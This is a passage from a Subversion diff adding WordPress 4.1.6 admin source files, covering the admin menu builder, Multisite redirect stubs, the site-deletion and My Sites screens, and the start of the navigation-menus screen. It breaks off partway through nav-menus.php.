--- /tags/4.1.6/src/wp-admin/menu.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/menu.php	(revision 33402)
@@ -0,0 +1,269 @@
+<?php
+/**
+ * Build Administration Menu.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Constructs the admin menu.
+ *
+ * The elements in the array are :
+ *     0: Menu item name
+ *     1: Minimum level or capability required.
+ *     2: The URL of the item's file
+ *     3: Class
+ *     4: ID
+ *     5: Icon for top level menu
+ *
+ * @global array $menu
+ * @name $menu
+ * @var array
+ */
+
+$menu[2] = array( __('Dashboard'), 'read', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard' );
+
+$submenu[ 'index.php' ][0] = array( __('Home'), 'read', 'index.php' );
+
+if ( is_multisite() ) {
+	$submenu[ 'index.php' ][5] = array( __('My Sites'), 'read', 'my-sites.php' );
+}
+
+if ( ! is_multisite() || is_super_admin() )
+	$update_data = wp_get_update_data();
+
+if ( ! is_multisite() ) {
+	if ( current_user_can( 'update_core' ) )
+		$cap = 'update_core';
+	elseif ( current_user_can( 'update_plugins' ) )
+		$cap = 'update_plugins';
+	else
+		$cap = 'update_themes';
+	$submenu[ 'index.php' ][10] = array( sprintf( __('Updates %s'), "<span class='update-plugins count-{$update_data['counts']['total']}' title='{$update_data['title']}'><span class='update-count'>" . number_format_i18n($update_data['counts']['total']) . "</span></span>" ), $cap, 'update-core.php');
+	unset( $cap );
+}
+
+$menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' );
+
+$menu[5] = array( __('Posts'), 'edit_posts', 'edit.php', '', 'open-if-no-js menu-top menu-icon-post', 'menu-posts', 'dashicons-admin-post' );
+	$submenu['edit.php'][5]  = array( __('All Posts'), 'edit_posts', 'edit.php' );
+	/* translators: add new post */
+	$submenu['edit.php'][10]  = array( _x('Add New', 'post'), get_post_type_object( 'post' )->cap->create_posts, 'post-new.php' );
+
+	$i = 15;
+	foreach ( get_taxonomies( array(), 'objects' ) as $tax ) {
+		if ( ! $tax->show_ui || ! $tax->show_in_menu || ! in_array('post', (array) $tax->object_type, true) )
+			continue;
+
+		$submenu['edit.php'][$i++] = array( esc_attr( $tax->labels->menu_name ), $tax->cap->manage_terms, 'edit-tags.php?taxonomy=' . $tax->name );
+	}
+	unset($tax);
+
+$menu[10] = array( __('Media'), 'upload_files', 'upload.php', '', 'menu-top menu-icon-media', 'menu-media', 'dashicons-admin-media' );
+	$submenu['upload.php'][5] = array( __('Library'), 'upload_files', 'upload.php');
+	/* translators: add new file */
+	$submenu['upload.php'][10] = array( _x('Add New', 'file'), 'upload_files', 'media-new.php');
+	foreach ( get_taxonomies_for_attachments( 'objects' ) as $tax ) {
+		if ( ! $tax->show_ui || ! $tax->show_in_menu )
+			continue;
+
+		$submenu['upload.php'][$i++] = array( esc_attr( $tax->labels->menu_name ), $tax->cap->manage_terms, 'edit-tags.php?taxonomy=' . $tax->name . '&amp;post_type=attachment' );
+	}
+	unset($tax);
+
+$menu[15] = array( __('Links'), 'manage_links', 'link-manager.php', '', 'menu-top menu-icon-links', 'menu-links', 'dashicons-admin-links' );
+	$submenu['link-manager.php'][5] = array( _x('All Links', 'admin menu'), 'manage_links', 'link-manager.php' );
+	/* translators: add new links */
+	$submenu['link-manager.php'][10] = array( _x('Add New', 'link'), 'manage_links', 'link-add.php' );
+	$submenu['link-manager.php'][15] = array( __('Link Categories'), 'manage_categories', 'edit-tags.php?taxonomy=link_category' );
+
+$menu[20] = array( __('Pages'), 'edit_pages', 'edit.php?post_type=page', '', 'menu-top menu-icon-page', 'menu-pages', 'dashicons-admin-page' );
+	$submenu['edit.php?post_type=page'][5] = array( __('All Pages'), 'edit_pages', 'edit.php?post_type=page' );
+	/* translators: add new page */
+	$submenu['edit.php?post_type=page'][10] = array( _x('Add New', 'page'), get_post_type_object( 'page' )->cap->create_posts, 'post-new.php?post_type=page' );
+	$i = 15;
+	foreach ( get_taxonomies( array(), 'objects' ) as $tax ) {
+		if ( ! $tax->show_ui || ! $tax->show_in_menu  || ! in_array('page', (array) $tax->object_type, true) )
+			continue;
+
+		$submenu['edit.php?post_type=page'][$i++] = array( esc_attr( $tax->labels->menu_name ), $tax->cap->manage_terms, 'edit-tags.php?taxonomy=' . $tax->name . '&amp;post_type=page' );
+	}
+	unset($tax);
+
+$awaiting_mod = wp_count_comments();
+$awaiting_mod = $awaiting_mod->moderated;
+$menu[25] = array( sprintf( __('Comments %s'), "<span class='awaiting-mod count-$awaiting_mod'><span class='pending-count'>" . number_format_i18n($awaiting_mod) . "</span></span>" ), 'edit_posts', 'edit-comments.php', '', 'menu-top menu-icon-comments', 'menu-comments', 'dashicons-admin-comments' );
+unset($awaiting_mod);
+
+$submenu[ 'edit-comments.php' ][0] = array( __('All Comments'), 'edit_posts', 'edit-comments.php' );
+
+$_wp_last_object_menu = 25; // The index of the last top-level menu in the object menu group
+
+foreach ( (array) get_post_types( array('show_ui' => true, '_builtin' => false, 'show_in_menu' => true ) ) as $ptype ) {
+	$ptype_obj = get_post_type_object( $ptype );
+	// Check if it should be a submenu.
+	if ( $ptype_obj->show_in_menu !== true )
+		continue;
+	$ptype_menu_position = is_int( $ptype_obj->menu_position ) ? $ptype_obj->menu_position : ++$_wp_last_object_menu; // If we're to use $_wp_last_object_menu, increment it first.
+	$ptype_for_id = sanitize_html_class( $ptype );
+
+	if ( is_string( $ptype_obj->menu_icon ) ) {
+		// Special handling for data:image/svg+xml and Dashicons.
+		if ( 0 === strpos( $ptype_obj->menu_icon, 'data:image/svg+xml;base64,' ) || 0 === strpos( $ptype_obj->menu_icon, 'dashicons-' ) ) {
+			$menu_icon = $ptype_obj->menu_icon;
+		} else {
+			$menu_icon = esc_url( $ptype_obj->menu_icon );
+		}
+		$ptype_class = $ptype_for_id;
+	} else {
+		$menu_icon   = 'dashicons-admin-post';
+		$ptype_class = 'post';
+	}
+
+	/*
+	 * If $ptype_menu_position is already populated or will be populated
+	 * by a hard-coded value below, increment the position.
+	 */
+	$core_menu_positions = array(59, 60, 65, 70, 75, 80, 85, 99);
+	while ( isset($menu[$ptype_menu_position]) || in_array($ptype_menu_position, $core_menu_positions) )
+		$ptype_menu_position++;
+
+	$menu[$ptype_menu_position] = array( esc_attr( $ptype_obj->labels->menu_name ), $ptype_obj->cap->edit_posts, "edit.php?post_type=$ptype", '', 'menu-top menu-icon-' . $ptype_class, 'menu-posts-' . $ptype_for_id, $menu_icon );
+	$submenu["edit.php?post_type=$ptype"][5]  = array( $ptype_obj->labels->all_items, $ptype_obj->cap->edit_posts,  "edit.php?post_type=$ptype");
+	$submenu["edit.php?post_type=$ptype"][10]  = array( $ptype_obj->labels->add_new, $ptype_obj->cap->create_posts, "post-new.php?post_type=$ptype" );
+
+	$i = 15;
+	foreach ( get_taxonomies( array(), 'objects' ) as $tax ) {
+		if ( ! $tax->show_ui || ! $tax->show_in_menu || ! in_array($ptype, (array) $tax->object_type, true) )
+			continue;
+
+		$submenu["edit.php?post_type=$ptype"][$i++] = array( esc_attr( $tax->labels->menu_name ), $tax->cap->manage_terms, "edit-tags.php?taxonomy=$tax->name&amp;post_type=$ptype" );
+	}
+}
+unset($ptype, $ptype_obj, $ptype_class, $ptype_for_id, $ptype_menu_position, $menu_icon, $i, $tax);
+
+$menu[59] = array( '', 'read', 'separator2', '', 'wp-menu-separator' );
+
+$appearance_cap = current_user_can( 'switch_themes') ? 'switch_themes' : 'edit_theme_options';
+
+$menu[60] = array( __('Appearance'), $appearance_cap, 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' );
+	$submenu['themes.php'][5] = array( __( 'Themes' ), $appearance_cap, 'themes.php' );
+
+	$customize_url = add_query_arg( 'return', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), 'customize.php' );
+	$submenu['themes.php'][6] = array( __( 'Customize' ), 'customize', $customize_url, '', 'hide-if-no-customize' );
+
+	if ( current_theme_supports( 'menus' ) || current_theme_supports( 'widgets' ) ) {
+		$submenu['themes.php'][10] = array(__( 'Menus' ), 'edit_theme_options', 'nav-menus.php');
+	}
+
+	if ( current_theme_supports( 'custom-header' ) && current_user_can( 'customize') ) {
+		$customize_header_url = add_query_arg( 'autofocus[control]', 'header_image', $customize_url );
+		$submenu['themes.php'][15] = array( __( 'Header' ), $appearance_cap, $customize_header_url, '', 'hide-if-no-customize' );
+	}
+
+	if ( current_theme_supports( 'custom-background' ) && current_user_can( 'customize') ) {
+		$customize_background_url = add_query_arg( 'autofocus[control]', 'background_image', $customize_url );
+		$submenu['themes.php'][20] = array( __( 'Background' ), $appearance_cap, $customize_background_url, '', 'hide-if-no-customize' );
+	}
+
+	unset( $customize_url );
+
+unset( $appearance_cap );
+
+// Add 'Editor' to the bottom of the Appearance menu.
+if ( ! is_multisite() )
+	add_action('admin_menu', '_add_themes_utility_last', 101);
+function _add_themes_utility_last() {
+	// Must use API on the admin_menu hook, direct modification is only possible on/before the _admin_menu hook
+	add_submenu_page('themes.php', _x('Editor', 'theme editor'), _x('Editor', 'theme editor'), 'edit_themes', 'theme-editor.php');
+}
+
+$count = '';
+if ( ! is_multisite() && current_user_can( 'update_plugins' ) ) {
+	if ( ! isset( $update_data ) )
+		$update_data = wp_get_update_data();
+	$count = "<span class='update-plugins count-{$update_data['counts']['plugins']}'><span class='plugin-count'>" . number_format_i18n($update_data['counts']['plugins']) . "</span></span>";
+}
+
+$menu[65] = array( sprintf( __('Plugins %s'), $count ), 'activate_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' );
+
+$submenu['plugins.php'][5]  = array( __('Installed Plugins'), 'activate_plugins', 'plugins.php' );
+
+	if ( ! is_multisite() ) {
+		/* translators: add new plugin */
+		$submenu['plugins.php'][10] = array( _x('Add New', 'plugin'), 'install_plugins', 'plugin-install.php' );
+		$submenu['plugins.php'][15] = array( _x('Editor', 'plugin editor'), 'edit_plugins', 'plugin-editor.php' );
+	}
+
+unset( $update_data );
+
+if ( current_user_can('list_users') )
+	$menu[70] = array( __('Users'), 'list_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' );
+else
+	$menu[70] = array( __('Profile'), 'read', 'profile.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' );
+
+if ( current_user_can('list_users') ) {
+	$_wp_real_parent_file['profile.php'] = 'users.php'; // Back-compat for plugins adding submenus to profile.php.
+	$submenu['users.php'][5] = array(__('All Users'), 'list_users', 'users.php');
+	if ( current_user_can( 'create_users' ) ) {
+		$submenu['users.php'][10] = array(_x('Add New', 'user'), 'create_users', 'user-new.php');
+	} elseif ( is_multisite() ) {
+		$submenu['users.php'][10] = array(_x('Add New', 'user'), 'promote_users', 'user-new.php');
+	}
+
+	$submenu['users.php'][15] = array(__('Your Profile'), 'read', 'profile.php');
+} else {
+	$_wp_real_parent_file['users.php'] = 'profile.php';
+	$submenu['profile.php'][5] = array(__('Your Profile'), 'read', 'profile.php');
+	if ( current_user_can( 'create_users' ) ) {
+		$submenu['profile.php'][10] = array(__('Add New User'), 'create_users', 'user-new.php');
+	} elseif ( is_multisite() ) {
+		$submenu['profile.php'][10] = array(__('Add New User'), 'promote_users', 'user-new.php');
+	}
+}
+
+$menu[75] = array( __('Tools'), 'edit_posts', 'tools.php', '', 'menu-top menu-icon-tools', 'menu-tools', 'dashicons-admin-tools' );
+	$submenu['tools.php'][5] = array( __('Available Tools'), 'edit_posts', 'tools.php' );
+	$submenu['tools.php'][10] = array( __('Import'), 'import', 'import.php' );
+	$submenu['tools.php'][15] = array( __('Export'), 'export', 'export.php' );
+	if ( is_multisite() && !is_main_site() )
+		$submenu['tools.php'][25] = array( __('Delete Site'), 'manage_options', 'ms-delete-site.php' );
+	if ( ! is_multisite() && defined('WP_ALLOW_MULTISITE') && WP_ALLOW_MULTISITE )
+		$submenu['tools.php'][50] = array(__('Network Setup'), 'manage_options', 'network.php');
+
+$menu[80] = array( __('Settings'), 'manage_options', 'options-general.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings' );
+	$submenu['options-general.php'][10] = array(_x('General', 'settings screen'), 'manage_options', 'options-general.php');
+	$submenu['options-general.php'][15] = array(__('Writing'), 'manage_options', 'options-writing.php');
+	$submenu['options-general.php'][20] = array(__('Reading'), 'manage_options', 'options-reading.php');
+	$submenu['options-general.php'][25] = array(__('Discussion'), 'manage_options', 'options-discussion.php');
+	$submenu['options-general.php'][30] = array(__('Media'), 'manage_options', 'options-media.php');
+	$submenu['options-general.php'][40] = array(__('Permalinks'), 'manage_options', 'options-permalink.php');
+
+$_wp_last_utility_menu = 80; // The index of the last top-level menu in the utility menu group
+
+$menu[99] = array( '', 'read', 'separator-last', '', 'wp-menu-separator' );
+
+// Back-compat for old top-levels
+$_wp_real_parent_file['post.php'] = 'edit.php';
+$_wp_real_parent_file['post-new.php'] = 'edit.php';
+$_wp_real_parent_file['edit-pages.php'] = 'edit.php?post_type=page';
+$_wp_real_parent_file['page-new.php'] = 'edit.php?post_type=page';
+$_wp_real_parent_file['wpmu-admin.php'] = 'tools.php';
+$_wp_real_parent_file['ms-admin.php'] = 'tools.php';
+
+// ensure we're backwards compatible
+$compat = array(
+	'index' => 'dashboard',
+	'edit' => 'posts',
+	'post' => 'posts',
+	'upload' => 'media',
+	'link-manager' => 'links',
+	'edit-pages' => 'pages',
+	'page' => 'pages',
+	'edit-comments' => 'comments',
+	'options-general' => 'settings',
+	'themes' => 'appearance',
+	);
+
+require_once(ABSPATH . 'wp-admin/includes/menu.php');
Index: /tags/4.1.6/src/wp-admin/moderation.php
===================================================================
--- /tags/4.1.6/src/wp-admin/moderation.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/moderation.php	(revision 33402)
@@ -0,0 +1,12 @@
+<?php
+/**
+ * Comment Moderation Administration Screen.
+ *
+ * Redirects to edit-comments.php?comment_status=moderated.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );
+wp_redirect( admin_url('edit-comments.php?comment_status=moderated') );
+exit;
Index: /tags/4.1.6/src/wp-admin/ms-admin.php
===================================================================
--- /tags/4.1.6/src/wp-admin/ms-admin.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/ms-admin.php	(revision 33402)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Multisite administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_redirect( network_admin_url() );
+exit;
Index: /tags/4.1.6/src/wp-admin/ms-delete-site.php
===================================================================
--- /tags/4.1.6/src/wp-admin/ms-delete-site.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/ms-delete-site.php	(revision 33402)
@@ -0,0 +1,91 @@
+<?php
+/**
+ * Multisite delete site panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( !is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+// @todo Create a delete blog cap.
+if ( ! current_user_can( 'manage_options' ) )
+	wp_die(__( 'You do not have sufficient permissions to delete this site.'));
+
+if ( isset( $_GET['h'] ) && $_GET['h'] != '' && get_option( 'delete_blog_hash' ) != false ) {
+	if ( get_option( 'delete_blog_hash' ) == $_GET['h'] ) {
+		wpmu_delete_blog( $wpdb->blogid );
+		wp_die( sprintf( __( 'Thank you for using %s, your site has been deleted. Happy trails to you until we meet again.' ), $current_site->site_name ) );
+	} else {
+		wp_die( __( "I'm sorry, the link you clicked is stale. Please select another option." ) );
+	}
+}
+
+$blog = get_blog_details();
+
+$title = __( 'Delete Site' );
+$parent_file = 'tools.php';
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+echo '<div class="wrap">';
+echo '<h2>' . esc_html( $title ) . '</h2>';
+
+if ( isset( $_POST['action'] ) && $_POST['action'] == 'deleteblog' && isset( $_POST['confirmdelete'] ) && $_POST['confirmdelete'] == '1' ) {
+	check_admin_referer( 'delete-blog' );
+
+	$hash = wp_generate_password( 20, false );
+	update_option( 'delete_blog_hash', $hash );
+
+	$url_delete = esc_url( admin_url( 'ms-delete-site.php?h=' . $hash ) );
+
+	$content = __( "Dear User,
+You recently clicked the 'Delete Site' link on your site and filled in a
+form on that page.
+If you really want to delete your site, click the link below. You will not
+be asked to confirm again so only click this link if you are absolutely certain:
+###URL_DELETE###
+
+If you delete your site, please consider opening a new site here
+some time in the future! (But remember your current site and username
+are gone forever.)
+
+Thanks for using the site,
+Webmaster
+###SITE_NAME###" );
+	/**
+	 * Filter the email content sent when a site in a Multisite network is deleted.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $content The email content that will be sent to the user who deleted a site in a Multisite network.
+	 */
+	$content = apply_filters( 'delete_site_email_content', $content );
+
+	$content = str_replace( '###URL_DELETE###', $url_delete, $content );
+	$content = str_replace( '###SITE_NAME###', $current_site->site_name, $content );
+
+	wp_mail( get_option( 'admin_email' ), "[ " . wp_specialchars_decode( get_option( 'blogname' ) ) . " ] ".__( 'Delete My Site' ), $content );
+	?>
+
+	<p><?php _e( 'Thank you. Please check your email for a link to confirm your action. Your site will not be deleted until this link is clicked. ') ?></p>
+
+<?php } else {
+	?>
+	<p><?php printf( __( 'If you do not want to use your %s site any more, you can delete it using the form below. When you click <strong>Delete My Site Permanently</strong> you will be sent an email with a link in it. Click on this link to delete your site.'), $current_site->site_name); ?></p>
+	<p><?php _e( 'Remember, once deleted your site cannot be restored.' ) ?></p>
+
+	<form method="post" name="deletedirect">
+		<?php wp_nonce_field( 'delete-blog' ) ?>
+		<input type="hidden" name="action" value="deleteblog" />
+		<p><input id="confirmdelete" type="checkbox" name="confirmdelete" value="1" /> <label for="confirmdelete"><strong><?php printf( __( "I'm sure I want to permanently disable my site, and I am aware I can never get it back or use %s again." ), is_subdomain_install() ? $blog->domain : $blog->domain . $blog->path ); ?></strong></label></p>
+		<?php submit_button( __( 'Delete My Site Permanently' ) ); ?>
+	</form>
+ 	<?php
+}
+echo '</div>';
+
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/ms-edit.php
===================================================================
--- /tags/4.1.6/src/wp-admin/ms-edit.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/ms-edit.php	(revision 33402)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Action handler for Multisite administration panels.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_redirect( network_admin_url() );
+exit;
Index: /tags/4.1.6/src/wp-admin/ms-options.php
===================================================================
--- /tags/4.1.6/src/wp-admin/ms-options.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/ms-options.php	(revision 33402)
@@ -0,0 +1,12 @@
+<?php
+/**
+ * Multisite network settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_redirect( network_admin_url('settings.php') );
Index: /tags/4.1.6/src/wp-admin/ms-sites.php
===================================================================
--- /tags/4.1.6/src/wp-admin/ms-sites.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/ms-sites.php	(revision 33402)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Multisite sites administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_redirect( network_admin_url('sites.php') );
+exit;
Index: /tags/4.1.6/src/wp-admin/ms-themes.php
===================================================================
--- /tags/4.1.6/src/wp-admin/ms-themes.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/ms-themes.php	(revision 33402)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Multisite themes administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_redirect( network_admin_url('themes.php') );
+exit;
Index: /tags/4.1.6/src/wp-admin/ms-upgrade-network.php
===================================================================
--- /tags/4.1.6/src/wp-admin/ms-upgrade-network.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/ms-upgrade-network.php	(revision 33402)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Multisite upgrade administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_redirect( network_admin_url('upgrade.php') );
+exit;
Index: /tags/4.1.6/src/wp-admin/ms-users.php
===================================================================
--- /tags/4.1.6/src/wp-admin/ms-users.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/ms-users.php	(revision 33402)
@@ -0,0 +1,13 @@
+<?php
+/**
+ * Multisite users administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_redirect( network_admin_url('users.php') );
+exit;
Index: /tags/4.1.6/src/wp-admin/my-sites.php
===================================================================
--- /tags/4.1.6/src/wp-admin/my-sites.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/my-sites.php	(revision 33402)
@@ -0,0 +1,145 @@
+<?php
+/**
+ * My Sites dashboard.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( !is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+if ( ! current_user_can('read') )
+	wp_die( __( 'You do not have sufficient permissions to view this page.' ) );
+
+$action = isset( $_POST['action'] ) ? $_POST['action'] : 'splash';
+
+$blogs = get_blogs_of_user( $current_user->ID );
+
+$updated = false;
+if ( 'updateblogsettings' == $action && isset( $_POST['primary_blog'] ) ) {
+	check_admin_referer( 'update-my-sites' );
+
+	$blog = get_blog_details( (int) $_POST['primary_blog'] );
+	if ( $blog && isset( $blog->domain ) ) {
+		update_user_option( $current_user->ID, 'primary_blog', (int) $_POST['primary_blog'], true );
+		$updated = true;
+	} else {
+		wp_die( __( 'The primary site you chose does not exist.' ) );
+	}
+}
+
+$title = __( 'My Sites' );
+$parent_file = 'index.php';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+		'<p>' . __('This screen shows an individual user all of their sites in this network, and also allows that user to set a primary site. They can use the links under each site to visit either the frontend or the dashboard for that site.') . '</p>' .
+		'<p>' . __('Up until WordPress version 3.0, what is now called a Multisite Network had to be installed separately as WordPress MU (multi-user).') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Dashboard_My_Sites_Screen" target="_blank">Documentation on My Sites</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+if ( $updated ) { ?>
+	<div id="message" class="updated"><p><strong><?php _e( 'Settings saved.' ); ?></strong></p></div>
+<?php } ?>
+
+<div class="wrap">
+<h2><?php echo esc_html( $title ); ?></h2>
+<?php
+if ( empty( $blogs ) ) :
+	echo '<p>';
+	_e( 'You must be a member of at least one site to use this page.' );
+	echo '</p>';
+else :
+?>
+<form id="myblogs" action="" method="post">
+	<?php
+	choose_primary_blog();
+	/**
+	 * Fires before the sites table on the My Sites screen.
+	 *
+	 * @since 3.0.0
+	 */
+	do_action( 'myblogs_allblogs_options' );
+	?>
+	<br clear="all" />
+	<table class="widefat fixed">
+	<?php
+	/**
+	 * Enable the Global Settings section on the My Sites screen.
+	 *
+	 * By default, the Global Settings section is hidden. Passing a non-empty
+	 * string to this filter will enable the section, and allow new settings
+	 * to be added, either globally or for specific sites.
+	 *
+	 * @since MU
+	 *
+	 * @param string $settings_html The settings HTML markup. Default empty.
+	 * @param object $context       Context of the setting (global or site-specific). Default 'global'.
+	 */
+	$settings_html = apply_filters( 'myblogs_options', '', 'global' );
+	if ( $settings_html != '' ) {
+		echo '<tr><td><h3>' . __( 'Global Settings' ) . '</h3></td><td>';
+		echo $settings_html;
+		echo '</td></tr>';
+	}
+	reset( $blogs );
+	$num = count( $blogs );
+	$cols = 1;
+	if ( $num >= 20 )
+		$cols = 4;
+	elseif ( $num >= 10 )
+		$cols = 2;
+	$num_rows = ceil( $num / $cols );
+	$split = 0;
+	for ( $i = 1; $i <= $num_rows; $i++ ) {
+		$rows[] = array_slice( $blogs, $split, $cols );
+		$split = $split + $cols;
+	}
+
+	$c = '';
+	foreach ( $rows as $row ) {
+		$c = $c == 'alternate' ? '' : 'alternate';
+		echo "<tr class='$c'>";
+		$i = 0;
+		foreach ( $row as $user_blog ) {
+			$s = $i == 3 ? '' : 'border-right: 1px solid #ccc;';
+			echo "<td style='$s'>";
+			echo "<h3>{$user_blog->blogname}</h3>";
+			/**
+			 * Filter the row links displayed for each site on the My Sites screen.
+			 *
+			 * @since MU
+			 *
+			 * @param string $string    The HTML site link markup.
+			 * @param object $user_blog An object containing the site data.
+			 */
+			echo "<p>" . apply_filters( 'myblogs_blog_actions', "<a href='" . esc_url( get_home_url( $user_blog->userblog_id ) ). "'>" . __( 'Visit' ) . "</a> | <a href='" . esc_url( get_admin_url( $user_blog->userblog_id ) ) . "'>" . __( 'Dashboard' ) . "</a>", $user_blog ) . "</p>";
+			/** This filter is documented in wp-admin/my-sites.php */
+			echo apply_filters( 'myblogs_options', '', $user_blog );
+			echo "</td>";
+			$i++;
+		}
+		echo "</tr>";
+	}?>
+	</table>
+	<input type="hidden" name="action" value="updateblogsettings" />
+	<?php wp_nonce_field( 'update-my-sites' ); ?>
+	<?php submit_button(); ?>
+	</form>
+<?php endif; ?>
+	</div>
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/nav-menus.php
===================================================================
--- /tags/4.1.6/src/wp-admin/nav-menus.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/nav-menus.php	(revision 33402)
@@ -0,0 +1,798 @@
+<?php
+/**
+ * WordPress Administration for Navigation Menus
+ * Interface functions
+ *
+ * @version 2.0.0
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+// Load all the nav menu interface functions
+require_once( ABSPATH . 'wp-admin/includes/nav-menu.php' );
+
+if ( ! current_theme_supports( 'menus' ) && ! current_theme_supports( 'widgets' ) )
+	wp_die( __( 'Your theme does not support navigation menus or widgets.' ) );
+
+// Permissions Check
+if ( ! current_user_can('edit_theme_options') )
+	wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+wp_enqueue_script( 'nav-menu' );
+
+if ( wp_is_mobile() )
+	wp_enqueue_script( 'jquery-touch-punch' );
+
+// Container for any messages displayed to the user
+$messages = array();
+
+// Container that stores the name of the active menu
+$nav_menu_selected_title = '';
+
+// The menu id of the current menu being edited
+$nav_menu_selected_id = isset( $_REQUEST['menu'] ) ? (int) $_REQUEST['menu'] : 0;
+
+// Get existing menu locations assignments
+$locations = get_registered_nav_menus();
+$menu_locations = get_nav_menu_locations();
+$num_locations = count( array_keys( $locations ) );
+
+// Allowed actions: add, update, delete
+$action = isset( $_REQUEST['action'] ) ? $_REQUEST['action'] : 'edit';
+
+switch ( $action ) {
+	case 'add-menu-item':
+		check_admin_referer( 'add-menu_item', 'menu-settings-column-nonce' );
+		if ( isset( $_REQUEST['nav-menu-locations'] ) )
+			set_theme_mod( 'nav_menu_locations', array_map( 'absint', $_REQUEST['menu-locations'] ) );
+		elseif ( isset( $_REQUEST['menu-item'] ) )
+			wp_save_nav_menu_items( $nav_menu_selected_id, $_REQUEST['menu-item'] );
+		break;
+	case 'move-down-menu-item' :
+
+		// Moving down a menu item is the same as moving up the next in order.
+		check_admin_referer( 'move-menu_item' );
+		$menu_item_id = isset( $_REQUEST['menu-item'] ) ? (int) $_REQUEST['menu-item'] : 0;
+		if ( is_nav_menu_item( $menu_item_id ) ) {
+			$menus = isset( $_REQUEST['menu'] ) ? array( (int) $_REQUEST['menu'] ) : wp_get_object_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) );
+			if ( ! is_wp_error( $menus ) && ! empty( $menus[0] ) ) {
+				$menu_id = (int) $menus[0];
+				$ordered_menu_items = wp_get_nav_menu_items( $menu_id );
+				$menu_item_data = (array) wp_setup_nav_menu_item( get_post( $menu_item_id ) );
+
+				// Set up the data we need in one pass through the array of menu items.
+				$dbids_to_orders = array();
+				$orders_to_dbids = array();
+				foreach( (array) $ordered_menu_items as $ordered_menu_item_object ) {
+					if ( isset( $ordered_menu_item_object->ID ) ) {
+						if ( isset( $ordered_menu_item_object->menu_order ) ) {
+							$dbids_to_orders[$ordered_menu_item_object->ID] = $ordered_menu_item_object->menu_order;
+							$orders_to_dbids[$ordered_menu_item_object->menu_order] = $ordered_menu_item_object->ID;
+						}
+					}
+				}
+
+				// Get next in order.
+				if (
+					isset( $orders_to_dbids[$dbids_to_orders[$menu_item_id] + 1] )
+				) {
+					$next_item_id = $orders_to_dbids[$dbids_to_orders[$menu_item_id] + 1];
+					$next_item_data = (array) wp_setup_nav_menu_item( get_post( $next_item_id ) );
+
+					// If not siblings of same parent, bubble menu item up but keep order.
+					if (
